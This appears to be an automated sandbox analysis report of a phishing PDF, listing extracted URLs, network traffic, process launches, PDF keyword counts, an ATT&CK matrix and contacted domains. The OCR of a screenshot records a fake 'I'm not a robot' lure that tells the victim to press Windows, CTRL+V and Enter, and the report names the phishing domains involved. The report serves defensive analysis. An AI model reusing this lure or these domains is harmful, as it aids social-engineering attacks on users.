Source: sets.json.10.dr	String found in binary or memory: https://livechat.com
Source: sets.json.10.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.10.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.10.dr	String found in binary or memory: https://livemint.com
Source: sets.json.10.dr	String found in binary or memory: https://max.auto
Source: sets.json.10.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.10.dr	String found in binary or memory: https://meo.pt
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.10.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.10.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.10.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.10.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.10.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.10.dr	String found in binary or memory: https://money.pl
Source: sets.json.10.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.10.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.10.dr	String found in binary or memory: https://nacion.com
Source: sets.json.10.dr	String found in binary or memory: https://naukri.com
Source: sets.json.10.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.10.dr	String found in binary or memory: https://nien.co
Source: sets.json.10.dr	String found in binary or memory: https://nien.com
Source: sets.json.10.dr	String found in binary or memory: https://nien.org
Source: sets.json.10.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.10.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.10.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.10.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.10.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.10.dr	String found in binary or memory: https://o2.pl
Source: sets.json.10.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.10.dr	String found in binary or memory: https://onet.pl
Source: sets.json.10.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.10.dr	String found in binary or memory: https://p106.net
Source: sets.json.10.dr	String found in binary or memory: https://p24.hu
Source: sets.json.10.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.10.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.10.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.10.dr	String found in binary or memory: https://player.pl
Source: sets.json.10.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.10.dr	String found in binary or memory: https://poalim.site
Source: sets.json.10.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.10.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.10.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.10.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.10.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.10.dr	String found in binary or memory: https://punjabijagran.com
Source: chromecache_194.11.dr	String found in binary or memory: https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png
Source: sets.json.10.dr	String found in binary or memory: https://radio1.be
Source: sets.json.10.dr	String found in binary or memory: https://radio2.be
Source: sets.json.10.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.10.dr	String found in binary or memory: https://repid.org
Source: sets.json.10.dr	String found in binary or memory: https://reshim.org
Source: sets.json.10.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.10.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.10.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.10.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.10.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.10.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.10.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.10.dr	String found in binary or memory: https://samayam.com
Source: sets.json.10.dr	String found in binary or memory: https://sapo.io
Source: sets.json.10.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.10.dr	String found in binary or memory: https://shock.co
Source: sets.json.10.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.10.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.10.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.10.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.10.dr	String found in binary or memory: https://songshare.com
Source: sets.json.10.dr	String found in binary or memory: https://songstats.com
Source: sets.json.10.dr	String found in binary or memory: https://sporza.be
Source: sets.json.10.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.10.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.10.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.10.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.10.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: shJGPJRkwH.pdf	String found in binary or memory: https://stolleryci.crowdchange.ca/27769/team/14658/#e7eyabdznyatbdbx)
Source: sets.json.10.dr	String found in binary or memory: https://stripe.com
Source: sets.json.10.dr	String found in binary or memory: https://stripe.network
Source: sets.json.10.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.10.dr	String found in binary or memory: https://supereva.it
Source: sets.json.10.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.10.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.10.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.10.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.10.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.10.dr	String found in binary or memory: https://text.com
Source: sets.json.10.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.10.dr	String found in binary or memory: https://the42.ie
Source: sets.json.10.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.10.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.10.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.10.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.10.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.10.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.10.dr	String found in binary or memory: https://top.pl
Source: sets.json.10.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.10.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.10.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.10.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.10.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.10.dr	String found in binary or memory: https://tvid.in
Source: sets.json.10.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.10.dr	String found in binary or memory: https://tvn24.pl
Source: sets.json.10.dr	String found in binary or memory: https://unotv.com
Source: sets.json.10.dr	String found in binary or memory: https://victorymedium.com
Source: sets.json.10.dr	String found in binary or memory: https://vrt.be
Source: sets.json.10.dr	String found in binary or memory: https://vwo.com
Source: sets.json.10.dr	String found in binary or memory: https://welt.de
Source: sets.json.10.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.10.dr	String found in binary or memory: https://wildix.com
Source: sets.json.10.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.10.dr	String found in binary or memory: https://wingify.com
Source: sets.json.10.dr	String found in binary or memory: https://wordle.at
Source: sets.json.10.dr	String found in binary or memory: https://wp.pl
Source: sets.json.10.dr	String found in binary or memory: https://wpext.pl
Source: ReaderMessages.1.dr	String found in binary or memory: https://www.adobe.co
Source: shJGPJRkwH.pdf	String found in binary or memory: https://www.aljazeera.com/#oeqr4yqyh9gnk2e889p)
Source: shJGPJRkwH.pdf	String found in binary or memory: https://www.aljazeera.com/#x5j3qydr5byvfnr)
Source: sets.json.10.dr	String found in binary or memory: https://www.asadcdn.com
Source: shJGPJRkwH.pdf	String found in binary or memory: https://www.euronews.com/#xdjl6ew2lzjy06545iav)
Source: chromecache_194.11.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/api2/logo_48.png
Source: shJGPJRkwH.pdf	String found in binary or memory: https://www.npr.org/sections/news/#a4jqhbefwly7m3of)
Source: shJGPJRkwH.pdf	String found in binary or memory: https://www.wsj.com/#zfzzuw1ip9rkx6bhr5zhganw)
Source: sets.json.10.dr	String found in binary or memory: https://ya.ru
Source: sets.json.10.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.10.dr	String found in binary or memory: https://zalo.me
Source: sets.json.10.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.10.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.10.dr	String found in binary or memory: https://zoom.com
Source: sets.json.10.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 63414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 63410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63415
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63410
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63412
Source: unknown	Network traffic detected: HTTP traffic on port 63415 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63411
Source: unknown	Network traffic detected: HTTP traffic on port 63411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63414
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1368_1544753866\manifest.fingerprint	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\chrome_BITS_1368_934304243

Jump to behavior

Source: classification engine

Classification label: mal84.phis.winPDF@44/75@24/12

Source: shJGPJRkwH.pdf	Initial sample: https://www.aljazeera.com/#x5j3qydr5byvfnr
Source: shJGPJRkwH.pdf	Initial sample: https://www.wsj.com/#zfzzuw1ip9rkx6bhr5zhganw
Source: shJGPJRkwH.pdf	Initial sample: https://edmonton.ctvnews.ca/news-links/#gyny
Source: shJGPJRkwH.pdf	Initial sample: https://stolleryci.crowdchange.ca/27769/team/14658/#e7eyabdznyatbdbx
Source: shJGPJRkwH.pdf	Initial sample: https://www.npr.org/sections/news/#a4jqhbefwly7m3of
Source: shJGPJRkwH.pdf	Initial sample: https://clintonmakes.com/215c/#mrzltabnxnf1v7h1hxqcxp
Source: shJGPJRkwH.pdf	Initial sample: https://www.euronews.com/#xdjl6ew2lzjy06545iav
Source: shJGPJRkwH.pdf	Initial sample: https://www.aljazeera.com/#oeqr4yqyh9gnk2e889p

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-16 11-15-53-778.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\shJGPJRkwH.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1508,i,12047917609770271542,12989106343411869346,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#mrzltabnxnf1v7h1hxqcxp"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1908,i,8825835104048177361,13493979304147720564,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1508,i,12047917609770271542,12989106343411869346,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1908,i,8825835104048177361,13493979304147720564,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: shJGPJRkwH.pdf	Initial sample: PDF keyword /JS count = 0
Source: shJGPJRkwH.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: shJGPJRkwH.pdf

Initial sample: PDF keyword /Page count = 10

Source: shJGPJRkwH.pdf

Initial sample: PDF keyword stream count = 35

Source: shJGPJRkwH.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: shJGPJRkwH.pdf

Initial sample: PDF keyword obj count = 91

Source: shJGPJRkwH.pdf

Initial sample: PDF keyword /OpenAction

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: screenshot	OCR Text: 800king.com C fixecondfirbook.info p Type here to search I'm not a robot Verification Steps 1. Press Windows Button " 2. Press CTRL + V 3. Press Enter recAPTCHA ENG SG 11:17 16/01/2025
Source: screenshot	OCR Text: 800king.com C fixecondfirbook.info p Type here to search 0 I'm not a robot Verification Steps 1. Press Windows Button " 2. Press CTRL + V 3. Press Enter recAPTCHA ENG SG 11:17 16/01/2025

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	4 Browser Extensions	1 Process Injection	11 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
shJGPJRkwH.pdf	0%	Virustotal		Browse
shJGPJRkwH.pdf	3%	ReversingLabs	Document-PDF.Phishing.Generic

Name	IP	Active	Malicious	Reputation
d2i5gg36g14bzn.cloudfront.net	18.245.31.53	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
e8652.dscx.akamaiedge.net	23.209.209.135	true	false	high
www.google.com	142.250.185.228	true	false	high
clintonmakes.com	66.63.187.216	true	false	high
fixecondfirbook.info	104.21.94.195	true	false	high
minedudiser.com	186.64.116.70	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
q-xx.bstatic.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/us.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://wieistmeineip.de	sets.json.10.dr	false	high
